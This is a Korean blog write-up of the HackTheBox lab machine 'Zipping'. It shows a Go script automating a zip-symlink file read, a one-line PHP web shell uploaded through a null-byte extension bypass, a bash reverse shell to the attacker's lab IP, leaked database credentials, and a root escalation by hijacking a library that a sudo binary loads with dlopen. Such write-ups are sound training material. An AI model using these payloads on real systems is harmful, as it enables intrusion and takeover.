아... 벨로그 에러로 썻던게 날라가서 다시써야된다...
HackTheBox 오픈 베타 시즌2의 11주차 머신으로 중간 난이도로 오픈되었다. 리눅스 머신으로 오픈된 Zipping 머신에 대한 해결 과정을 기록한다.
발급된 머신으로 포트 스캔 결과 간단하게 22/tcp
, 80/tcp
가 오픈된것을 확인할 수 있다.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-28 13:15 KST
Nmap scan report for 10.129.151.255
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d6eec022d0f6a3860c6aaac1ee0c284 (ECDSA)
|_ 256 eb9511c7a6faad74aba2c5f6a4021841 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.03 seconds
80/tcp로 접근 시 index.php
, upload.php
페이지가 확인되며, 업로드 페이지는 이력서를 업로드받는 기능을 한다.
위에서 확인된 업로드 페이지의 문구에서는 단일 pdf가 포홤된 zip 파일만 업로드
가능하다고 명시되어있다.
테스트를 위해 한줄 웹쉘인 shell.php
파일을 생성하여 압축하고 업로드한 결과 Please include a single PDF file in the archive
라는 메세지가 확인된다.
# shell.php
<?=`$_GET[_]`?>
업로드 기능이 제대로 작동하는것인지 확인하기위해 test.pdf
파일을 제작하고 압축하여 업로드하니 또 다시 단일 pdf가 포함된 zip파일을 업로드하라는 메세지가 출력된다🤔
고민을 좀하다 생각해보니 현재 진행하고있는 PC가 Mac이며, Mac에서 파일에 우클릭하고 압축하기를 선택할 경우 __MACOS
라는 디렉터리가 같이 포함되었던것을 기억하고 아래와 같이 압축했던 zip파일을 확인해보니 예상했던것처럼 더미 파일이 포함되어있는것을 확인했다.
% unzip test.zip
Archive: test.zip
inflating: test.pdf
inflating: __MACOSX/._test.pdf
결과적으로 아래와 같은 명령을 통해 __MACOSX가 포함되는것을 제거할 수 있다.
% zip -d test.zip __MACOSX/\*
deleting: __MACOSX/._test.pdf
더미파일이 제거된 zip파일을 다시 업로드 시 업도드된 경로가 페이지에 표시된다.
예전에 PentestLab에서 진행했던 문제를 기반으로 zip파일에 심볼릭 링크 파일을 포함하여 업로드할 경우 리눅스 서버에서 해당 심볼릭 링크로 인해 걸어둔 링크 파일이 표현된다는것을 경험했다.
위 내용을 기반으로 아래와 같이 /etc/passwd
파일을 심볼릭 링크하는 symlink.pdf 파일을 생성하고 zip 명령어에 --symlink
옵션을 추가하여 test.zip파일을 생성한다.
% ln -s /etc/passwd ./symlink.pdf
% zip --symlinks test.zip symlink.pdf
생성된 zip파일을 업로드한다.
업로드된 경로로 curl을 찔러보니 Zip SymLink
가 동작하여 서버 측 파일을 링크를 통해 읽을 수 있게됐다.
% curl http://zipping.htb//uploads/1688a62a5889cf14d86d0050195b456c/symlink.pdf
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false
위 과정을 보면 심볼릭 링크 파일 생성 > 압축 > 업로드 > 경로 확인 > 해당 경로 요청
으로 정리될 수 있으며 이를 자동화하는 코드를 작성한다.
package main
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"mime/multipart"
"net/http"
"os"
"os/exec"
"regexp"
"github.com/projectdiscovery/gologger"
)
const (
SYMLINK_FILE string = "symlink.pdf"
ZIP_FILE string = "upload.zip"
REMOTE_HOST string = "http://zipping.htb/"
)
// upload.zip. symlink.pdf 파일이 존재하면 삭제하는 함수
func deleteOldFiles() {
os.Remove(ZIP_FILE)
os.Remove(SYMLINK_FILE)
}
// 입력받은 LFI 대상 파일 경로를 심볼릭 링크하는 파일을 생성하고 upload.zip로 압축
func createZipFile(remoteFilePath string) error {
lnCmd := exec.Command("ln", "-s", remoteFilePath, "./symlink.pdf")
_, lnErr := lnCmd.CombinedOutput()
if lnErr != nil {
return lnErr
}
zipCmd := exec.Command("zip", "--symlinks", ZIP_FILE, "symlink.pdf")
_, zipErr := zipCmd.CombinedOutput()
if zipErr != nil {
return zipErr
}
return nil
}
func reqUploadZipFile() (*http.Response, error) {
file, err := os.Open(ZIP_FILE)
if err != nil {
return nil, err
}
defer file.Close()
var requestBody bytes.Buffer
writer := multipart.NewWriter(&requestBody)
fileField, err := writer.CreateFormFile("zipFile", "test.zip")
if err != nil {
return nil, err
}
_, err = io.Copy(fileField, file)
if err != nil {
return nil, err
}
writer.WriteField("submit", "")
contentType := writer.FormDataContentType()
requestURL := REMOTE_HOST + "upload.php"
request, err := http.NewRequest("POST", requestURL, &requestBody)
if err != nil {
return nil, err
}
request.Header.Set("Content-Type", contentType)
client := &http.Client{}
response, err := client.Do(request)
if err != nil {
return nil, err
}
return response, nil
}
func getRemoteUploadPath(res *http.Response) (string, error) {
path := ""
if res.StatusCode == 200 {
bodyBytes, err := ioutil.ReadAll(res.Body)
if err != nil {
return "", err
}
re := regexp.MustCompile(`href="(uploads/[^"]+)"`)
matches := re.FindSubmatch(bodyBytes)
if len(matches) >= 2 {
path = string(matches[1])
}
}
return path, nil
}
func reqRemoteUploadPath(path string) {
requestURL := REMOTE_HOST + path
request, _ := http.NewRequest("GET", requestURL, nil)
client := &http.Client{}
response, _ := client.Do(request)
if response.StatusCode == 200 {
bodyBytes, _ := ioutil.ReadAll(response.Body)
fmt.Println(string(bodyBytes))
}
}
func main() {
if len(os.Args) < 2 {
fmt.Println("Usage : LFI 대상 파일 경로를 인자로 입력.")
os.Exit(0)
}
remoteFilePath := os.Args[1]
deleteOldFiles()
err := createZipFile(remoteFilePath)
if err != nil {
gologger.Fatal().Label("CREATE-ZIP-FILE").Msgf(err.Error())
}
resp, err := reqUploadZipFile()
if err != nil {
gologger.Fatal().Label("REQ-UPLOAD-ZIP-FILE").Msgf(err.Error())
}
if resp.StatusCode == 200 {
path, err := getRemoteUploadPath(resp)
if err != nil {
gologger.Fatal().Msgf(err.Error())
} else if path == "" {
gologger.Fatal().Msgf("Upload Path Value not found.")
}
reqRemoteUploadPath(path)
}
}
제작된 코드를 빌드하여 LFI를 통해 여러 파일들을 확인했으며, upload.php
파일에서 아래와 같은 코드를 확인할 수 있었다. 코드를 대충 보고 업로드되는 zip 파일명을 ;ping \[Command\];upload.zip
같은 형태로 전달하면 exec 함수에서 Command Injection이 가능할것으로 판단했으나 $zipFile = $_FILES\['zipFile'\]\['tmp_name'\];
와같은 형태로 임시 경로를 사용하고있어 불가능했다.
...
...
...
<?php
if(isset($_POST['submit'])) {
// Get the uploaded zip file
$zipFile = $_FILES['zipFile']['tmp_name'];
if ($_FILES["zipFile"]["size"] > 300000) {
echo "<p>File size must be less than 300,000 bytes.</p>";
} else {
// Create an md5 hash of the zip file
$fileHash = md5_file($zipFile);
// Create a new directory for the extracted files
$uploadDir = "uploads/$fileHash/";
// Extract the files from the zip
$zip = new ZipArchive;
if ($zip->open($zipFile) === true) {
if ($zip->count() > 1) {
echo '<p>Please include a single PDF file in the archive.<p>';
} else {
// Get the name of the compressed file
$fileName = $zip->getNameIndex(0);
if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
mkdir($uploadDir);
echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');
echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
} else {
echo "<p>The unzipped file must have a .pdf extension.</p>";
}
}
} else {
echo "Error uploading file.";
}
}
}
?>
...
...
...
위 upload.php
코드에서 확인되는 것처럼 업로드되는 zip 파일내 단일 파일에 대한 확장자 검증이 존재한다.
if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf")
PHP 버전에 따라 유효할 수 있겠지만 밑져야 본전이라고, 일단 시도해본다. 먼저 Burp에서 Hex 수정이 쉽게 shell.php파일을 shell.phpA.pdf
로 변경하고 압축한다.
압축한 파일을 전송하는 패킷을 가로채어 Raw 데이터로 확인했을때 zip 파일의 내용을 UTF8 형태로 zip파일의 바이너리 스트림을 확인할 수 있으며, 일부 내용 중 shell.phpA.pdf
를 확인할 수 있다.
확인된 zip파일의 내용에서 shell.phpA.pdf 파일의 A 값을 Null Byte(0x00)
로 변경하여 전송한다.
uploads/199d7ea18a9f9771f009ad4c612a6c3b/shell.php .pdf
경로로 업로드됐다하지만 null byte가 삽입되었을 경우 uploads/199d7ea18a9f9771f009ad4c612a6c3b/shell.php
에 웹쉘이 업로드 됐을 것이다.
업로드된 경로에 _
파라미터로 명령어를 전달하니 웹쉘이 정상적으로 업로드된것을 확인할 수 있으며, 웹 서비스를 실행하는 계정은 rektsu
로 확인할 수 있었다.
위에서 진행한 확장자 검증 우회를 이용해 PHP Reverse Shell 코드를 업로드한다.
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.47/9001 0>&1'"); ?>
이후 미리 제작된 공격자의 공개키를 탈취한 서버에 업로드하여 쉽게 rektsu
계정으로 SSH 접근할 수 있게 환경을 구성했다.
% ssh -i ./juicemon rektsu@zipping.htb
Welcome to Ubuntu 22.10 (GNU/Linux 5.19.0-46-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
Last login: Mon Aug 28 05:49:00 2023 from 10.10.14.47
rektsu@zipping:~$ id
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
쉘에 접근하여 탐색하다가 /var/www/html/shop/functions.php
파일에서 DB 접근 정보 확인할 수 있었다.
function pdo_connect_mysql() {
// Update the details below with your MySQL details
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
try {
return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
} catch (PDOException $exception) {
// If there is an error with the connection, stop the script and display the error.
exit('Failed to connect to database!');
}
}
하지만 DB에는 별 내용이 없었다.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| zipping |
+--------------------+
MariaDB [(none)]> use zipping
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [zipping]> show tables;
+-------------------+
| Tables_in_zipping |
+-------------------+
| products |
+-------------------+
1 row in set (0.000 sec)
MariaDB [zipping]> select * from products;
+----+--------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------+-------+----------+------------+---------------------+
| id | name | desc | price | rrp | quantity | img | date_added |
+----+--------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------+-------+----------+------------+---------------------+
| 1 | Smart Watch | <p>Unique watch made with stainless steel, ideal for those that prefer interative watches.</p>
<h3>Features</h3>
<ul>
<li>Powered by Android with built-in apps.</li>
<li>Adjustable to fit most.</li>
<li>Long battery life, continuous wear for up to 2 days.</li>
<li>Lightweight design, comfort on your wrist.</li>
</ul> | 29.99 | 0.00 | 10 | watch.jpg | 2023-04-01 17:55:22 |
| 2 | Contemporary Watch | <p>Upgrade your style with a contemporary watch - the perfect fusion of design and functionality. Choose from a variety of materials and features to find the perfect timepiece for your lifestyle.</p> | 14.99 | 19.99 | 34 | watch2.jpg | 2023-04-01 18:52:49 |
| 3 | Digital Watch | <p>Stay on time and on-trend with a digital watch. Featuring easy-to-read displays and a variety of features, these watches are perfect for those who value functionality and style.</p> | 19.99 | 0.00 | 23 | watch3.jpg | 2023-04-01 18:47:56 |
| 4 | Classic Watch | <p>Make a timeless statement with a classic watch. These watches feature traditional design elements and high-quality craftsmanship, ensuring that they'll never go out of style.</p> | 69.99 | 0.00 | 7 | watch4.jpg | 2023-04-01 17:42:04 |
+----+--------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------+-------+----------+------------+---------------------+
rektsu
계정에서 sudo 권한을 파악하니 아래와 같이 /usr/bin/stock
이라는 파일에 대해서 패스워드없이 루트 권한으로 실행이 가능했다.
$ sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock
strings
명령어로 해당 파일을 확인하니 패스워드로 보이는 문자열로 확인할 수 있었다.
$ strings /usr/bin/stock
...
...
...
St0ckM4nager
...
...
...
stock 바이너리를 실행하면 아래와 같이 패스워드를 입력받는데 위에서 확인된 패스워드를 입력 시 정상적으로 인증을 통과할 수 있었다.
$ sudo /usr/bin/stock
Enter the password: St0ckM4nager
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option:
stock 파일을 분석하기위해 공격자의 Windows PC로 파일을 옮겨와서 분석을 시작했다. 위에서 strings 명령을 통해 확인된 문자열은 역시나 checkAuth
라는 함수 내 하드 코딩되어있었다.
checkAuth 함수가 true로 떨어지면 XOR
함수를통해 암호화된 값을 복호화하고 dlopen
함수를 통해 라이브러리를 로드한다.
XOR 함수를 통해 복호화된 문자열을 확인하기위해 간만에 frida를 사용한다. 공격자 PC에서 frida-server를 업로드하고 rektsu 쉘에서 다운로드받는다.
$ wget http://10.10.14.47:9001/frida-server
--2023-08-28 08:48:02-- http://10.10.14.47:9001/frida-server
Connecting to 10.10.14.47:9001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 31241832 (30M) [application/octet-stream]
Saving to: ‘frida-server’
frida-server 100%[=============================================================================================>] 29.79M 2.75MB/s in 12s h
2023-08-28 08:48:14 (2.51 MB/s) - ‘frida-server’ saved [31241832/31241832]
이후 frida-server를 실행하여 공격자 PC에서 stock 바이너리를 디버깅 할 수 있도록 구성한다.
이제 공격자 PC에서 stock 바이너리를 실행한다.
xor에서 복호화된 값이 dlopen에 첫번째 인자로 들어간다. 값을 확인하기 위해 dlopen 함수를 후킹한다.
called dlopen(/home/rektsu/.config/libcounter.so)
dlopen으로 로드하려는 파일이 존재하는지 확인해보니 해당 경로에 so파일이 존재하지 않는것으로 보아 악성 so파일을 제작하여 sudo 권한으로 해당 so 파일을 로드하고 코드가 실행되도록하는것이 목적인것 같다.
rektsu@zipping:~$ ls -al /home/rektsu/.config/libcounter.so
ls: cannot access '/home/rektsu/.config/libcounter.so': No such file or directory
하이재킹인지 인젝션이라고 해야할지 모르겠지만... 확인된것과 같이 stock을 실행 시 dlopen을 통해 /home/rektsu/.config/libcounter.so
를 로드하지만 해당 경로에는 해당 공유 라이브러리없으며, 현재 탈취한 계정이 쓰기권한이 있는 디렉터리이다.
IDA에서 코드 및 import 함수들을 훑어봐도 libcounter.so에서 가져온 함수를 사용하는 부분은 보이지 않는다.
Android에서도 많이 봤지만 IDA로 확인했을때 .init_array라는 섹션이 존재하는데 해당 섹션에는 아래와 같이 constructor
속성을 부여한 함수가 main보다 먼저 실행된다.
즉, dlopen을 통해 로드가 된다면 즉시 호출되는 함수이다. 위코드를 아래와 같은 명령어를 통해 빌드한다.
참고 : https://book.hacktricks.xyz/linux-hardening/privilege-escalation/ld.so.conf-example
gcc -shared -o /home/rektsu/.config/libcounter.so -fPIC libcounter.c
이제 sudo 권한으로 stock을 실행하고 /tmp 디렉터리를 확인하면 root 권한의 Set-UID가 활성화된 bash가 존재한다.
rektsu@zipping:/tmp$ sudo /usr/bin/stock
Enter the password: St0ckM4nager
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
rektsu@zipping:/tmp$ ls -al
total 37216
drwxrwxrwt 12 root root 4096 Aug 28 09:58 .
drwxr-xr-x 19 root root 4096 Aug 7 13:18 ..
drwxrwxrwt 2 root root 4096 Aug 28 04:09 .ICE-unix
drwxrwxrwt 2 root root 4096 Aug 28 04:09 .X11-unix
drwxrwxrwt 2 root root 4096 Aug 28 04:09 .XIM-unix
drwxrwxrwt 2 root root 4096 Aug 28 04:09 .font-unix
-rwsr-xr-x 1 root root 1433736 Aug 28 09:51 bash
-rwxrwxrwx 1 rektsu rektsu 31241832 Aug 28 08:47 frida-server
-rw-rw-r-- 1 rektsu rektsu 152 Aug 28 09:57 libcounter.c
-rwxrwxrwx 1 rektsu rektsu 830030 Apr 25 14:39 linpeas.sh
-rwxrwxrwx 1 rektsu rektsu 3104768 Jan 17 2023 pspy64
rektsu@zipping:/tmp$ /tmp/bash -p
bash-5.2# id
uid=1001(rektsu) gid=1001(rektsu) euid=0(root) groups=1001(rektsu)